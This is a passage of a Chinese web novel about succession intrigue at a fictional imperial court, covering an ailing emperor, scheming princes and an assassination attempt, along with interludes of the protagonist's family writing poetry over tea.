只见双寿进门行了礼,然后就说道:“郎君,二郎君今日就要去‘枕松闲居’了,过段时日才回来。特意让小的叮嘱您,若是下次回来,您的武艺还没有长进,说仔细您的皮。”说完这些,低着头等挨骂。
三郎气的脱下鞋扔过去,骂道:“你就非得现在说吗?不能过两日?”
双寿往后缩了缩,小心翼翼道:“二郎君是让小的见到您之后,顺便一说。可小的觉得毕竟是二郎君的命令
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,还是早早告知您为好。”说话时,整个人看起来十分窝囊的样子。
三郎气的挥手道:“滚滚滚。”
可双寿并未离开,反而再次确认,“小的可是原话说了啊。”
“我知道了!”三郎几乎是吼出来。
双寿并未在意,反而笑嘻嘻行礼,“那小的告退了。”
三郎这才反应过来他已经成婚了,方才的那一幕被娘子看了个正着,有些想挽回颜面,“唉,双寿虽然是我的小厮,可自幼只怕我二哥,所以有时候二哥的命令比我的还好使。”
“那也只需恭敬些,看二哥的样子,也不会与他计较。”说实话,方才崔采薇也算是瞧见稀奇了,竟还有这样一对主仆。
“小时候,身边的小厮哄骗我,二哥向母亲举告就全换了,双寿是后头来的,虽然笨了些,但一向守规矩,不过心里还是害怕二哥。”遮羞布已经扯下来了,三郎干脆不装了。
随后尴尬的清了清嗓子,“那个啥……我先出去练武了。”说完头也不回的出去了。
崔采薇看着三郎出去的背影,对方虽然说了,但到底不全面。
随即,招手将自己从娘家带来的贴身丫鬟丹桂叫来,“咱们才进门,很多事情都不懂,免得将来不小心犯了忌讳。你去我的妆奁里拿二两银币,找上瑞雪去吃酒,再让她多叫几个相熟的,顺带好好打探打探。”
丹桂一听这话就明白了,娘子这是觉得她之前打探到的消息还不够多,要继续深挖的意思,信心十足道:“娘子放心,奴婢这次一定打探的清清楚楚!”
崔采薇并未闲着,她自己带着礼物去找大嫂嫂汪永缃,想从她那里再打听一番,毕竟主子和下人看待事情的角度不同。
门外,三郎练的十分认真。
第二百五十章 观察诸位皇子的品性
当隆冬的寒风刮过大地,细雪洋洋洒洒的,在地面上落下一层薄薄的浅白,缕缕寒凉仿佛要往人的骨头缝里钻。
‘枕松闲居’的窗户上贴着桃花纸,通过朦胧的窗纸可以隐约看见外头光秃秃的枝丫,耳边伴随着北风的呼啸声,天地之间尽显萧瑟之气。
屋内的暖炉散发着阵阵热气,注满水的铜壶在上头‘咕嘟咕嘟’的翻滚着。
封砚初肩上披着一件**白山水藤纹云袖袍,他有一搭没一搭的品茗,手里的书时不时地翻过一页。
“咚咚咚”
随着门被打开,寒风倒灌。
只见郑伟进来行礼禀报,“郎君,陈郎君来了。”
“快请进来吧!”封砚初的话音刚落。
一个人影就闪进来了,门再次被关上,那人拍了拍身上的雪粒,感叹着,“哎呀,你可真舒服。”
封砚初一边为他斟茶,一边招呼着:“从昨夜到现在,外头的北风就没停,你不在家里待着,怎么过来了?快来烤烤火,喝些热茶暖一暖。”
陈泽文一屁股坐下,端起茶盏一口饮尽,肚子里的寒意被驱散了一些,他随后长舒一口气,“呼——”
这时,雪香也进来了,给足炉和手炉添上火炭,又端上点心果子,这才出去。
陈泽文捂着手炉,脚下踩着足炉,终于缓过来了。
封砚初见状问道:“你莫不是骑马来的?怎么冷成这样?像是冻透了一般。”
“谁说不是呢,我才从宫里出来,就直奔你这儿来了。”陈泽文也不等对面发问,就自己说道:“你猜猜,今日发生了什么事?”脸上仿佛直接粘着三个字:有大事!
“宫里的?想必是发生了大事,否则你不会特意来一趟。”封砚初一边添水,一边思量着,“能称得上是大事的,无非就是陛下,皇后身边的事。”
陈泽文神情古怪,“还真叫你猜着了,宫里聚了一帮老臣,要求陛下立储呢!”
“不知是谁传出消息,也不知是从何处传出的,说陛下身患重疾。所以,即使今日休沐,还下着雪,这帮老臣也不嫌天冷,就站在勤政殿门外,逼着让陛下立储呢!陛下让江荣海出来劝了好几次,都不管用。”
封砚初似乎想到了什么,不过也就略微停顿了一瞬,就立即道:“陛下的身体都是由太医院照看,莫不是有人朝太医打探的消息?私底下探查陛下的脉案,岂不是找死?”
陈泽文摆手道:“我出宫的时候,正好碰见侍卫朝太医院的方向去了,具体怎么透出去的,还不知道,不过今日来的那些老臣都是没站边的。”
封砚初听后,佯装无奈的叹着气,“如此也就说的通了。如今储位空悬,陛下身体也不康泰,这些老臣们担心也属正常,毕竟如今安王和庄王斗得乌眼鸡似的,为了来日朝堂能平稳过度,自然想找陛下要个说法。”
他嘴上虽如此说着,可心底却在暗暗思量其他事情,到底是谁透出去的?皇后应该不可能,毕竟他们认为陛下早已经将旨意留给了邢勉,到时候只要对方不开口,一切就以皇后的懿旨为准,不可能节外生枝。
五皇子估计知道陛下身体有恙,只是他之前的所作所为,让陛下十分失望。所以他是最不可能逼着陛下立储的,因为变数太大,否则又怎么可能拉拢六皇子。
陈泽文放下手炉,端起茶盏慢悠悠抿了一口,语气中带着些许愁绪,“唉,这些人的年岁都不小,我都冷的不行,更别提他们?若是冻出个好歹,岂不是让众人觉
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得都是陛下的过错。”
就在两人说话之际,孙延年冒着风雪来了,他先是在门口敲了敲门,表示自己来了。然后才进门抖了抖身上的雪,同时嘴上说着,“哎呀,外头的雪下的更大了,你们可知发生了何事?”
“一帮老臣在宫里逼迫陛下立储呢。”陈泽文看向孙延年,“这事早就知道了,我才从宫里出来。”
孙延年并未与这两人一起,而是拉了一个圆凳,坐在暖炉旁烤火,“不,有最新的消息传出,是一个更大的事!”
封砚初倒了一盏热茶,递给对方,“总不能是陛下立储了吧。”
孙延年接过茶饮了一口,长舒一口气,“也差不多。陛下对外说,在观察完诸位皇子的品性之后,会留下一道旨意,到时候大家只需按照旨意扶立新君登位即可!”
“什么?要留遗旨?”陈泽文没想到陛下会以这种方式破局。
“什么!诸位皇子?”封砚初对于这个结果倒不意外,这不过是陛下再次放的一个**罢了,难不成真的要让那些老臣冻死不成?
“是真的!那些大臣们已经出宫了,有些甚至是被抬回去的。”孙延年说这话时,还坚定的点点头,“就是诸位皇子,这下可是将这水搅浑了。”
陈泽文却微微皱起眉,眸中流露出一抹深思,“七皇子和八皇子虽然母族普通,但陛下这话也就相当于告诉所有人,这两位皇子亦有可能登位;安王和庄王身边固然有不少人扶持,但六皇子手握靖安武备营,这可是兵权,也有一战之力。即使他原本没想法,可得知这个消息后,岂能不动心?”
“京中的水又变得浑浊了,前路不清,这些大臣们也要仔细观察,不敢轻举妄动。”孙延年接话道。
第二百五十一章 为兄自是信你的
屋内的空气一时之间有些寂静,三人都各自思索,只有铜壶里的水还在翻滚着,夹杂着萧萧的北风声。
良久,直至响起一阵敲门声。
“二郎,该用午饭了。”原来是李妈妈。
封砚初的思绪被这声音拉回,“妈妈,进来说吧。”
李妈妈先将伞放在外头,然后进门先是朝两个客人行了礼,最后才问道:“到了该用饭的时间了,外面还下着雪呢,不如就摆在这里?”
正好封砚初懒得动弹,“嗯,就依妈妈所言。外头飘雪,妈妈年岁不小,小心路滑跌跤;若是有事,不必亲自过来,吩咐底下的小丫头们就行。”想了想,又吩咐,“再暖壶桂花酒来,我要与他们两个饮上几杯。”
李妈妈脸上的笑意更浓,领情道:“好,下次便让那些小丫头来。”
陈泽文也朝李妈妈说道:“劳烦李妈妈出去给我那小厮说一声,便说我今日不回去了,就住在广林巷的宅子里。”
李妈妈自进门后,脸上一直挂着笑,“是,老奴告退。”
‘枕松闲居’
三人吃饭饮酒,好不自在。
与这轻松的氛围相反的是安王府。
安王得知父皇竟然要考察诸位皇子的品性,之后才会留下旨意,这样一来,他的希望岂不是再次降低。
此刻,他脸色铁青,觉得众人都在与他作对。
自从老大被禁足,原本以为只需要对付老九那个小崽子即可。万万没想到,没了老大,皇后和黎家将所有的矛头都对上他,再加上几次皇后使绊子,导致以前经营的形象轰然倒塌。
“来人!去六皇子府!”安王几乎是咬牙说出这话。
亲信犹豫地劝道:“王爷,现在去六皇子府是不是不太妥当?若是让人瞧见……何况外头风雪正盛……”
安王一听这话,脸更是黑的难看,“现在还避什么嫌!你没听陛下说要考察所有皇子吗?是所有皇子!现在就连老七和老八那两个小兔崽子都有一争的资格,更别说手握靖安武备营的老六!若他动了相争的心思,之前的打算就废了!”
六皇子府。
门房突然看到安王,一时还有些懵,欲上前行礼,然后再进去通禀,可安王连理都没理,甩着袖子径直冲进去了。
六皇子正在屋里看着传来的消息,直到听见门外传来的声音。
“安王殿下,容小的先进去禀报,安王殿下……”
他赶紧将东西收进匣子里,匆忙放到身后的书架上,才坐下,门就被一把推开,霎时间风雪倒灌进屋内。
此时,他恼怒到了极点,却不得不挂着笑脸,一边温声说着,一边将人往里请,“外头这么大的雪,五哥怎么亲自来了?有事让下人过来就行。”
他心里何尝不明白,老五之所以这样横冲直撞,还不是从来都没将自己放在眼里。无论对方平日说的话如何好听,一到关键时刻就会暴露出真实面目。
安王闻言并未理会,只冷眼看着身后匆忙跟来的李延,挥手命令,“下去!”
可李延丝毫未动,直至六皇子轻轻点头,这才出去。
“哼!六弟驭下的本事倒是不错。”安王直接坐上主位,对李延无视他,出言讥讽着。
六皇子见此一幕,面上并未露出一丝恼色,反而亲自为对方斟了茶,“五哥这是怎么了?一副气冲冲的样子?可是弟弟哪里做的不妥当?”
安王接过茶饮了一口,明明急得不行,偏偏不紧不慢地说,“父皇有意考教众皇子,此事你可听说了?”
六皇子的动作只是稍微一缓,然后仿佛不在意一般,“哦,这么大的事,自然听说了,可这与弟弟有何关系?”
安王放下手中的茶盏,斜眼看向对方,似笑非笑地勾起唇角,语气中满是质疑,“有何关系?六弟这话说的好轻松。父皇这话一出,就是告诉所有人,每个皇子都有资格,若说六弟不心动,我却不信!”
六皇子快速思索着,他先是哈哈笑了笑,随后轻轻摇头,状似无奈,“五哥啊,五哥,我还以为什么事让你这般急匆匆的,原来是这?”
“这还不重要?毕竟你之前承诺过我,若是如今有心争一争,那我岂不是鸡飞蛋打?”五皇子被对方这漫不经心的样子,弄的有些无措。
就在这短短几句话的瞬间,六皇子已经想好了说词,他看向安王,神情十分严肃,“五哥,若说不心动那是假的,身为皇子,我相信所有人都有过那个想法,可弟弟也就此一想罢了。”
说到此处,脸上竟带着忧郁之色,“五哥也知道,我母妃早逝,自小由贵妃娘娘养大,可娘娘有大哥这个亲儿子,所以我在宫里过得并不如意,看够了争斗,也厌恶这些。”
“可是!”他脸上浮现出向往的神色,“我找到了更重要的东西!天下之广阔,可笑我前十几年被困宫中,直到去年游历,让我更清楚自己想要的究竟是什么?”
安王十分复杂的看向对方,他没想到六弟竟然说出这番话来,但让他就此相信也不可能,“没想到六弟还有这番心思,以前竟未察觉,只是让我如何信你呢?”
六皇子起身拱手行礼道:“皇兄,臣弟别无所求。若来日助您登上皇位后,还请您放臣弟离京,看一看这辽阔的天下,看一看这秀丽山河!臣弟不愿此生被困在这方寸之地,不愿困在那波谲云诡的皇宫,更不愿周旋在这些人之中,平衡各方势力!这是臣弟此生之愿,请您来日务必成全!”
说完这话,他并未停留,而是径直走到桌案旁,取出一张纸,在上面写道:
兄:显康亲见
臣弟不愿此生困于方寸宫阙,更不愿周旋于群臣之间,左右逢源以平衡各方势力。
若他日助兄登九五之尊,恳请皇兄赐臣弟离京之恩,容臣一观天下之辽阔,一赏山河之秀美,此乃臣弟毕生之愿也。空口无凭,特立此据为证,以明心志。
立据人:沈显瑞。
他又写上年月日期,按了手印,盖上皇子私印,方拿给安王,郑重道:“如此,五哥可信弟弟?”
安王接过字据,低头快速浏览着,脸上是一片兴奋之色,连连点头,“为兄自是信你的!”可他并未瞧见,六皇子嘴角浮出的那一抹嘲讽。
第二百五十二章 今日之辱,来日必报
安王将字据收进袖囊,这才抬起头。当下已经变成了另一副面孔,就连说话的语气也和善不少,哪里还有方才的样子,“六弟何故如此,为兄还信不过你吗?”
六皇子也表现出一副与有荣焉的模样,举止投足间更显尊敬,“弟弟自是知晓五哥相信,这字据实在是我自作主张为之,还望五哥勿恼。”
安王笑着拍了拍对方的胳膊,“怎会,你我兄弟之间何必谈这些。不过,你放心,等来日为兄夙愿达成,自然成全你。”
六皇子拱手行礼,郑重无比,“臣弟多谢皇兄。”
“哈哈哈。”安王享受着对方的拜服,仿佛此刻已经登上了那个位置,且站在了勤政殿内,“时辰不早了,为兄也不打扰你,就先告辞了。”
六皇子依旧拱着手,“弟弟送五哥。”
目的已经达成,对于这点小事,安王当然要表现的大度一些,他的摆摆手,“天还下着雪,你不用送了,我自己出去。”
“五哥慢走!”就在对方转身之际,六皇子的笑瞬间从脸上消失,眼中的寒意比外头的风雪更甚。
安王出了房门,一转头便看见李延守依旧在外头。对方的脸被冻的通红,头上和肩上落了一层厚雪,明显站了很长时间。
他还记得对方之前的阻拦,只是老六才说支持自己,此刻不好深究,便嗤笑一声,骂道:“你倒是老六的一条好狗!”说罢甩袖离开。
李延硬生生等对方离开,这才敲门进去,“殿下。”
六皇子见他这副模样,轻叹着,“外头那么冷,你何苦一直守着,他不能拿我如何。”
方才里面的情形,李延听得一清二楚,担忧道:“殿下,安王方才如此逼迫,您又不得不立下字据,若将来他拿此威胁您,可怎么办?”
一想到此,六皇子的神色不禁阴沉下来,冷笑道:“想拿字据胁迫我?做梦!就是拿出字据又能如何?只要我不承认,那就是废纸一张。”
“更何况,我不过是安他的心罢了。若将来被人知道,我一个无依无靠的皇子,本不想参与到争斗之中,奈何身单力孤,被安王以性命胁迫,不得不写罢了。那些大臣自然希望,将来坐到那个位置上的人,孤立无援,软弱可控。如此,我也算是如了他们的愿。”说到最后,他的眼神愈发深邃,甚至就连嘴角也勾起那似笑非笑的弧度。
李延听后这才松了一口气,不过他还是拱手道:“若殿下需要,属下必定竭尽全力将那东西偷出来!”
六皇子拍了拍对方的肩膀,“还没到那一步,你在外头待了这么久,快下去歇着吧,今日不用你守着。”李延并未矫情,拱手告退。
直到对方彻底离开,六皇子这才紧紧握着拳头,脖子上的青筋暴起,他死死压着胸中几乎快要喷涌而出的怒火,牙缝里挤出几句话,“沈显康!你给我等着!忍辱负重,好,今日之辱,我记下了,来日必报!”
不是要争吗?老大和老三被关了这么长时间,想必也知错了,既如此,当然也要放出来,在父皇身前尽孝。思及此处,重新提笔写着什么。
话说安王拿着字据回了王府,仔细地将其收起来。
一旁的亲信见状,心中犹疑,“王爷,您当真信任六殿下?”
安王听后冷哼道:“信他?此举不过是让他以为安抚住了本王,若是他安心帮本王也就罢了,如果存了异心,那就别怪本王不客气!”
“王爷的意思是?”亲信其实已经猜出来了,但还是战战兢兢地问出了口。
只见安王的眼神变得很辣,声音也犹如寒冰一般,“你说呢?”
亲信连忙垂头拱手,“小的明白!”
安王似乎想到了什么,叮嘱道:“还是要早作准备,毕竟老六身边有护卫保护,他本人功夫也不弱,别到在关键时刻功亏一篑!”
“是!”亲信沉声道。
其实在安王心里已经做好了准备,如果将来那道旨意上没有他,他也不会就此罢手,只需费心些罢了。若父皇只有自己一个儿子,这皇位自然就非他莫属。
坤宁宫。
黎皇后神色很难看,面对亲信带来的消息,再次确认,“你说的可是真的?”
亲信又一次行礼道:“娘娘,千真万确,这是大人才传进来的消息。”
黎皇后面色狰狞,“好你个老六!面上作出一副与世无争的样子,没想到转脸就支持老五。怪不得这么久,老五是半点不着急,感情有这个后手在!”
更可气的是,不知谁泄露了陛下生病的消息,居然就此破了局,让原本的优势扭转,大家重新回到了一个新的起点!
她越想越气,话音刚落,随手抓起一旁的茶盏猛地砸在地上。
亲信见状连忙道:“娘娘息怒。”
黎皇后转眼就想到了一个主意,“哼,本宫暂时拿老五没办法,可这后宫却是我这个皇后说了算!去,就说陛下身体有恙,身为妃嫔,更是要以身作则。即日起,每人都要抄写佛经为陛下祈福,尤其是张婕妤和王婕妤。”她说到此刻,嘴角扯出一抹冷笑,“至于写多少?自然是陛下什么时候康复,什么时候停止。”
亲信听后立即领命离去。她很清楚,娘娘这就是针对张王两个婕妤,谁让她们是七皇子和八皇子的母妃。
第二百五十三章 不过是一丘之貉
勤政殿。
“咳咳咳……”一阵咳嗽声响起。
“陛下。”江荣海端着药碗担忧不已。
景和帝摆摆手,“无妨。”不过神色相较之前,明显颓败了许多,他端起那碗药一饮而尽,拿起一旁的奏疏继续看起来。
“陛下,这些日子您夜不能寐,且连日劳累,歇一歇吧。”江荣海说这话之时,忍不住用袖子沾了沾眼睛。
景和帝见此脸上浮现出苦笑,“这些政务哪里耽搁得了?再说你哭什么?谁都有这一步,早晚而已。”
他的目光透过窗纸看向外头,“我身体是这副样子,他们担忧也是正常,这不,得到答案还不是退下去了?”说到这里又是一阵猛咳。
“陛下,您不能再这样点灯熬油下去了,要保重身子啊。”江荣海的一身荣辱全系于景和帝,今见陛下身体成了这副样子,仿佛风中的烛火般,随时会熄灭。不禁想到自身,无论是为他,还是为陛下,都真心希望对方能够长久。
随后哭着,“是老奴无用,至今查不出来到底是谁泄了密。”
景和帝并未怪罪,甚至还在宽慰这个跟了自己几十年的老太监,“知道这事的人也不少。何况这皇宫就像是一个四处漏风的墙,朕更是被众人盯着,只要有心,早晚能探查到,意料之中罢了。”
他又从桌上拿起一本奏疏,只见上头写着,念及与平乐王、三皇子的手足之情,且二人亦受罚多日,恳请解了禁足,让其侍奉在父皇左右,以尽孝道。
“既然老六奏请,那便下旨释放老大和老三出来。”他对老六的做法很赞成,浑水摸鱼不失为一种手段。
江荣海立即应声,“是,老奴这就去传陛下口谕。”
等到人出去之后,景和帝拿起另一本,上面赫然是黎皇后的奏请,言及九皇子听闻陛下身体有恙,寝食难安,想在父皇身旁侍奉,以尽人子之责,恳请陛下允准。
他看后随手将其扔在一旁,不由冷笑出声。老九固然年幼,可那就是个线抽傀儡,甚至连这种事也要皇后帮忙写,若真登上九五之位,这大晟干脆姓黎算了。
想他当初之所以立黎氏为皇后,不过是觉得此人智小而谋大,即使有黎文堂帮忙,也成不了气候。更何况,黎文堂平日倒没什么,却有耐性不足、脾气急躁的缺点。
话说,封砚初在兵部上职,好容易忙里偷闲,得了片刻清闲,正坐在火炉旁边饮茶。
王主事急匆匆进来,“封主事!封主事!”
封砚初抬眼便瞧见对方掀帘进来,招呼着,“王主事,我这里有好茶,你快来喝些。”
王主事一屁股坐在旁边,接过茶盏浅饮,“多谢,我方才得了个消息。”因为开口说话,导致那张胖脸上,唇边的胡须一翘一翘的。
“哦?看样子事情不小?”封砚初话音刚落,余光便扫见,周围那些司务、书吏们手上虽在忙着,但都默默立起耳朵偷听。
王主事迫不及待的将带来的消息分享了,“我方才从外头进来,听说陛下已经将平乐王和三皇子放出来了。还说既然要考教皇子们的品性,自然包括平乐王和三皇子。又言两位皇子关了这么长时间,想来也知道错了。”
“竟是这样?”封砚初面上作出一副原来如此的表情。可心里却思索着,这到底是陛下的主张,还是别人的谏言呢?不过无论是谁的意思,那就是京中的水是越来越浑了,不知这意图浑水摸鱼的又有几人?
王主事又道:“不仅如此,现在外头都在传,六皇子暗中支持的一直都是安王。”
“什么?可晌午那会儿还静悄悄的,这才过了一个多时辰,就传开了?”传播速度这么快,封砚初几乎可以肯定这是安王的手笔,就是为了逼六皇子。
“是啊,短短一个时辰就已经传开了。”王主事说这话之时,眼神里透出狡黠之色,唇角轻轻勾起,浮出一抹意味深长的笑,毕竟大家都不是傻子。
而六皇子府。
六皇子淡定的忙碌着自己的事情。
李延匆匆进来,将才得到的消息赶紧说了,“殿下,现在外头都在传您退出储位之争,全力支持安王。”话中尽是担忧。
六皇子依旧平静无波,“意料之中。平乐王就要被放出来了,毕竟我曾养在贵妃膝下,有人这是担心我转身投靠别人。平乐王心胸并不宽广,得知此事后,不仅会放弃拉拢我,没准还会时不时地找茬。一举两得的事,安王为何不做?”
“殿下早就预料到了?”李延原本提在胸口的石头放下了。
六皇子这才抬起头,不紧不慢道:“安王与平乐王不差上下,一个莽撞,一个私心甚用;平乐王心胸狭窄,难道他安王就是个宽广的君子吗?不过是一丘之貉!”
言及此处,冷笑着,“也好,平乐王虽然实力大损,有些不敌安王,但给他添些乱也是好的。”他没说的是,别看三哥的生母不过是宫女出身,但对方之前也是心存野望的,否则怎么可能在会试一案上推波助澜,这才被父皇幽禁。至于这次出来,会不会有什么动作,谁又知道呢?
第二百五十四章 大晟未来还要交给你们
这次的禁足,对平乐王(大皇子)来说十分恐慌。他的性格依旧莽撞好进,但比起之前至少知道装一装。
其实一开始,他还觉得做做样子而已,自己很快就会被放出去的。然而随着时间的流逝,禁足一直未解,他便明白,母妃也好,亦或是往日跟在他身后之人也罢,都靠不住!
在禁足被解的次日,他便按照规矩进宫谢恩,却在勤政殿前,碰见了同样前来谢恩的三皇子。
比起平乐王的粗犷,三皇子多了些俊逸。
只是三皇子今日碰见后,对方的身上少了往日的桀骜,起码表面上待人和善了许多,甚至主动问起了他,“三弟。”要是以前,必定是鼻孔瞧人,不屑一顾,根本瞧不上自己。
他本就不受重视,亦不受景和帝待见。此次禁足,对他来说仿佛无甚大碍,依旧是那副温文尔雅的样子,行礼道:“大哥。”
勤政殿内。
两人跪在地上,一起给景和帝行了大礼。
大皇子颇有些痛哭流涕的意思,“父皇,是儿子不孝,让您操心了,儿子知错了。”
“父皇,养儿方知父母恩,以前是儿子心存叵测,可自从有了女儿以后,这才明白您的苦心。”这话是三皇子说的,他很清楚自己的过错。相比起大皇子,他表现的更加淡然,让人听了,只觉得是为人父母后的成长。
两人说的很真诚,起码双方都这么认为。
景和帝看着两个儿子的这番姿态,心里平静无波。于他而言,对方知错与否并不要紧,要紧的是他要用一用这两儿子,来达成自己的目的。
他面上作出一副老怀甚慰的表情,叹道:“你们不怪朕禁了你们的足就好。”
“儿子不敢!”
“儿子明白,父皇都是儿子好。”两人立即表态。
景和帝仿佛对此感动不已,“朕虽不忍,但你们犯错,也要给天下人一个交代,知错能改,善莫大焉。如今瞧着,朕的苦心没有白费。”说到这里,又是一阵咳嗽。
平乐王和三皇子慌忙上前,欲扶着景和帝,“父皇!”
景和帝看着疲惫不已,抬起右手阻止,“无妨,朕年岁已高,大晟的未来还要交到你们手里,以后好好做事,不要再让朕失望了。”
两人内心激动不已。父皇这话的意思岂不是说只要表现的好,他们也有问鼎的可能,闻言一起行礼,恭敬中难掩兴奋,“儿子必定好好做事,不让父皇失望。”
“好,朕累了,你们就先回去吧!”景和帝先是笑着点了点头,随后摆手,将两个儿子一起打发出去了。
等两人都出去之后,他再也忍不住了,紧接着就是一阵猛咳。而江荣海其实早就候着了,此刻赶紧端上药碗上前,“陛下。”
因为精神不济,景和帝喝完药便躺着休息,江荣海则轻手轻脚的退下了,心中哀叹不已。自从那场大雪天,群臣逼迫立储,陛下不得不亲自出来劝,就此落下了咳疾,这几日竟愈发重了,喝药也不见好。
之后的日子里,景和帝仿佛真的开始考虑起大晟的未来。不过这些皇子们的求见一概不理会,一切只看自己心情。今日将这个皇子叫来说两句,明日叫那个皇子进来侍疾,后日可能又给另外一个皇子教导一些政事,甚至连七皇子和八皇子也被叫去过几次。
众人云山雾罩,实在摸不清陛下的心思。这就导致所有人的心神虽然都被景和帝牵制,但私底下的争斗从未停止。
上头争斗不休,就连封简宁也被各方拉拢过几次,他秉持着谁都不得罪的原则,一直虚与委蛇。
而封砚初自始至终都是做好自己的事,日子过得潇洒恣意。
这日,好容易休沐,所有的兄弟姐妹,都在他这里烹茶煮酒,赏梅。
阁楼上,长姐封砚敏抚琴,二妹封砚婉正在煮茶。堂兄封砚明好容易得了空闲,斜靠在一旁吃着干果。
一曲毕,封砚敏看向不远处的梅林,建议道:“如此枯坐也无趣,此处赏梅甚好,不如以梅为题作诗如何?”
二妹与三郎连连摆手道:“作诗?还是算了,此处有二哥在,谁还能赢他不成?”
大郎笑道:“如此,那便让他居中做个裁判。”
两人依旧摇头,长姐劝道:“又不限韵,无论七言五言,要是连这个也没有,那往日的书岂不是白读了?”
堂兄封砚明已经拿起笔,“你们不写,我却有了!”
三郎见状凑近去瞧,题目是《梅林即景》,“高楼独倚暮烟中,万树琼花碧落空。莫道冬深无逸兴,清芬一片接鸿蒙。”
才读完,封砚初便点头道:“堂兄的诗进益不小,这首七言,展示梅林在黄昏中静谧之美的同时,又融入了苍茫的意境!”
大郎也点头赞着,“虽然现在不是黄昏,不过明年秋闱的诗若有此等水平,必定好!”
就在众人赞叹之时,长姐的诗也写完了,“瞧我这个如何?”
只见纸上写着:‘小阁凭栏雪色开,千枝香影隔云来。寒烟漫卷春先信,不待东风自上台。’
紧接着,三郎和二妹也勉强写了,只能说真勉强。
良久,大郎也有了新诗,《冬日小酌》
炉火微温酒尚醇,茶烟漫卷月黄昏。????梅林冷艳横窗牖,雪魄幽香沁客魂。??
??暂息朝堂刀剑影,偷怜此刻玉冰痕。????明朝又入风波海,且抱寒英醉一樽。
封砚初拿起瞧过后,轻叹一声,明白对方这是忆起昨日夜间两人的谈话,“大哥何必发愁,兵来将挡水来土掩,会好的。”话音刚落,暮山就上来了,在耳边低语了几句。他面色如常,只挥挥手让对方下去。
大郎察觉到什么,“二郎?”
他轻轻摇头,端起酒杯浅笑,“无碍。”
长姐封砚敏体谅道:“你要是有事就去忙吧,都是自家人,我们自个儿赏景也是一样的。”
第二百五十五章 两相比较,起码这个还能看
直至散去,封砚初也未透出究竟听到什么消息,依旧悠哉地陪着众人。
随着暮色笼罩,冷月高悬于空,余晖将地面染上了一层银白。屋内的条几上放着一个玉青釉长颈瓶,瓶中插着几枝梅花,散发出淡淡的幽香,火炉里的炭火时不时发出响声。
封砚开与封砚初兄弟二人对面而坐,饮着清茶不发一言,空气一时之间有些凝滞。
直至大郎打破这寂静,问道:“二郎,白日里到底发生了什么事?连我这个兄长也不能说吗?”
封砚初抬眼看向对面,大郎的眼睛在昏暗的烛火中,依旧闪着光。
这件事,只要有心,一打听便知道,所以他并没瞒着,“没什么,只是有人受伤罢了。我不说,不过是不想让这杂事扰了兄弟姊妹的兴致。”
大郎立即猜到了,用肯定的语气说道:“是六皇子!”
封砚初点头默认,“同行的还有平乐王(大皇子),为了救六皇子也受了伤。”
大郎虽然猜不到具体是谁动的手,但这都向众人展现出平乐王已经痛改前非,“只是不知这手足情深的水分有多少。”
“大哥是觉得自导自演?”封砚初问道。
大郎摇了摇头,“不知道。不排除是自导自演,也有可能是安王,或者黎家动的手,都有可能。”
封砚初眼中闪过不屑,嗤笑一声,“无论如何,我只能说此等手段实在低劣。有这个时间还不如睁开眼,做一些实事,若有人真心做事,那道旨意上的名字也不是不能改。”
“可笑的是,大家只想着如何将对方踩下去,如何争宠,想来陛下很失望。”大郎依旧是那副温文尔雅的模样,只是温和的语气里有一丝轻蔑,随后又问,“二郎,你不提醒一下吗?”
“提醒?”封砚初轻笑着,“我为何要提醒?到了这个地步,若他还能将那个位置弄丢,那也只能说明他实在不合适,与其粉身碎骨,还不如做个太平王爷呢。说白了,这不过是他们沈家的事,无论谁上去,这日子要过,饭也要吃,都一样。”
大郎听了担忧不已,“我担心九皇子上位。毕竟咱家之前有过投靠,后来又趁机脱离,只怕对方会秋后算账。”
封砚初安抚道:“大哥不必忧心,谁都有可能,就九皇子不可能。他不过是傀儡,到时候面上是皇后娘娘垂帘听政,可一切还不是黎家说了算。不仅陛下不会同意,其余人也不会甘心。再说陛下虽然身体出了状况,但兵权却收回来了,与仁宗不同。”
大郎听后,这才略微放心下来,端起清茶浅饮,“那就好。我还以为你会支持六皇子。”
一提起这个,封砚初就想到对方的厚脸皮,“我从始至终都没说要支持他。不过是因着幼时见过几面,他又见我与孙延年交好,估计想着关键时刻能起到一些作用。只是没想到我还算有些能力,又当了官,便想表现一下自己的平易近人,来了几次,至于朝我请教?”
他说到这里,嘴角勾起一抹坏笑,“若他还没来得及进入陛下的眼中就败了,岂不可惜?”
大郎此刻才清楚,自始至终,都不是二郎要支持六皇子,而是对方在拉拢二郎,甚至还请教过问题,“这么说,离京是你建议的?”
封砚初挑眉道:“自然。没有见过外面的世界之前,他的心胸和格局与其余皇子没有任何区别,凭什么让陛下动心念?陛下一直有心彻底改革,奈何百官掣肘,最后也只收回了兵权。若此时,一个心怀百姓的皇子出现在眼前,而他与这些世家
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官宦,还没有任何牵扯,想不动心都难。”
说到这里轻笑了一声,“虽然不知真假,可起码他还愿意表现一番。不像其他皇子连这个念头都没有,要么是傀儡,要么自私自利,要么出卖大晟利益,两相比较,起码这个还能看。”
肃王世子沈在云从室内出来后,在盆里洗着手上的血。
江荣海上前问道:“两位殿下如何了?”
沈在云依旧是那副淡淡的模样,“未伤及要害,并无大碍,只需按时换药即可。不过他们服用了麻沸散,暂时昏睡,晚些时候药效过了,自然就醒了。”
江荣海这才松了一口气,“世子殿下说没有大碍,自是没大碍,老奴先回去给陛下回禀。”说完这话,朝勤政殿而去,他还记得,当陛下听闻六皇子**后的神情。
“什么!**!老六如何?咳咳咳……去查一查是谁干的?”景和帝听完就有些激动,连着便是几声猛咳。
江荣海一边为对方顺气,一边回禀,“陛下,仔细您的身子。六殿下和平乐王都受伤了,幸亏巡城卫的人来的及时,未酿成大祸。不过刺杀的都是死士,眼见失败全都自尽了,方才来人说肃王世子已经去诊治了,老奴这就去瞧瞧。”
景和帝听后依旧不放心,拉着江荣海叮嘱道:“等肃王世子诊治结束之后,你记得去肃王府宣旨嘉奖,顺带查问一下,看是不是泄密了!”
江荣海立即意识到事情的严重性,神情严肃,“老奴这就去!”
虽然心急,但还是压着性子,按照顺序,先等诊治结束后,这才回去禀报,之后带着东西去了肃王府,明面上是上次世子,实则为了打听那件事。
当所有的事情结束,已经是暮色,差点没赶得上回宫。
第二百五十六章 这里和你没关系
随着京中传出平乐王手足情深的消息后,春节已至。比起往年的欢愉,今年似乎添了些愁绪。
台上之人正咿咿呀呀,用寓意最好的词唱着。大家都陪着老太太一起听戏,可封砚初却不爱这些,面上还在听着,其实思绪早已不知去了何方。
一旁的三郎也因无趣,正悄悄掩嘴打着哈欠,无意中瞥见二哥往这里瞧,连忙将自己最灿烂的笑露给对方看,妻子崔乐薇实在没眼瞧,暗中白了对方一眼。
